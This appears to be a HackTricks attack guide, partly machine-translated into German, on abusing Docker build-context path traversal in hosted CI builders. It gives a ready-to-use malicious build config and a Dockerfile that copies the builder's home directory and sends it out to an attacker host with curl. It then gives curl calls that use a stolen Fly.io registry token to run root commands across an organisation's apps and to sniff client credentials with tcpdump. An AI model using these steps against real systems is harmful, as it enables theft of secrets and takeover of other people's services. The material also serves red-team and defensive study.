Ausnutzung des Docker Build Contexts in gehosteten Buildern (Path Traversal, Exfil, and Cloud Pivot)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

TL;DR

Wenn eine CI/CD-Plattform oder ein gehosteter Builder Beitragenden erlaubt, den Docker build context-Pfad und den Dockerfile-Pfad anzugeben, kann man häufig den Kontext auf ein übergeordnetes Verzeichnis setzen (z. B. “..”) und Host-Dateien Teil des Build-Kontexts machen. Dann kann ein vom Angreifer kontrollierter Dockerfile mithilfe von COPY Secrets aus dem Home des Build-Benutzers exfiltrate (zum Beispiel ~/.docker/config.json). Gestohlene registry tokens können außerdem gegen die control-plane APIs des Providers funktionieren und org-weite RCE ermöglichen.

Attack surface

Viele gehostete builder/registry-Dienste führen beim Bauen nutzereingereichter Images in etwa Folgendes aus:

  • Liest eine repository-weite Konfiguration, die Folgendes enthält:
    • build context path (sent to the Docker daemon)
    • Dockerfile path relative to that context
  • Kopiert das angegebene Build-Kontext-Verzeichnis und den Dockerfile zum Docker daemon
  • Baut das Image und startet es als gehosteten Service

Wenn die Plattform den Build-Kontext nicht kanonisiert und einschränkt, kann ein Nutzer ihn auf einen Ort außerhalb des Repositories setzen (path traversal), wodurch beliebige Host-Dateien, die vom Build-User lesbar sind, Teil des Build-Kontexts werden und im Dockerfile per COPY verfügbar sind.

Praktische Einschränkungen, die häufig beobachtet werden:

  • Der Dockerfile muss sich innerhalb des gewählten Kontextpfads befinden und dessen Pfad muss im Voraus bekannt sein.
  • Der Build-User muss Leserechte für Dateien im Kontext haben; spezielle Gerätedateien können das Kopieren stören.

PoC: Path traversal via Docker build context

Beispielhafte bösartige Serverkonfiguration, die einen Dockerfile im übergeordneten Verzeichnis-Kontext angibt:

runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

Hinweise:

  • Die Verwendung von “..” führt häufig auf das Home-Verzeichnis des Users builder (z. B. /home/builder), das typischerweise sensible Dateien enthält.
  • Lege dein Dockerfile unter dem Verzeichnisnamen des repo (z. B. repo “test” → test/Dockerfile), damit es innerhalb des erweiterten übergeordneten Kontexts bleibt.

PoC: Dockerfile to ingest and exfiltrate the host context

FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

Ziele, die häufig aus $HOME wiederhergestellt werden:

  • ~/.docker/config.json (registry auths/tokens)
  • Andere cloud/CLI Caches und Konfigurationen (z. B. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

Tipp: Selbst mit einer .dockerignore im Repository bestimmt die plattformseitige Kontextauswahl weiterhin, was an den daemon gesendet wird. Wenn die Plattform den gewählten Pfad zum daemon kopiert, bevor sie das .dockerignore Ihres Repos auswertet, können Host-Dateien dennoch offengelegt werden.

Cloud pivot with overprivileged tokens (example: Fly.io Machines API)

Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API.

Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:

Enumerate apps in an org:

curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

Führe einen Befehl als root in irgendeiner Maschine einer app aus:

curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

Ergebnis: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.

Secret theft from compromised hosted services

Mit exec/RCE auf gehosteten Servern können Sie vom Client bereitgestellte secrets (API keys, tokens) ernten oder prompt-injection attacks durchführen. Beispiel: install tcpdump und capture HTTP traffic auf port 8080, um eingehende Zugangsdaten zu extrahieren.

# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

Erfasste Anfragen enthalten häufig Client-Zugangsdaten in Headern, im Body oder in Query-Parametern.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks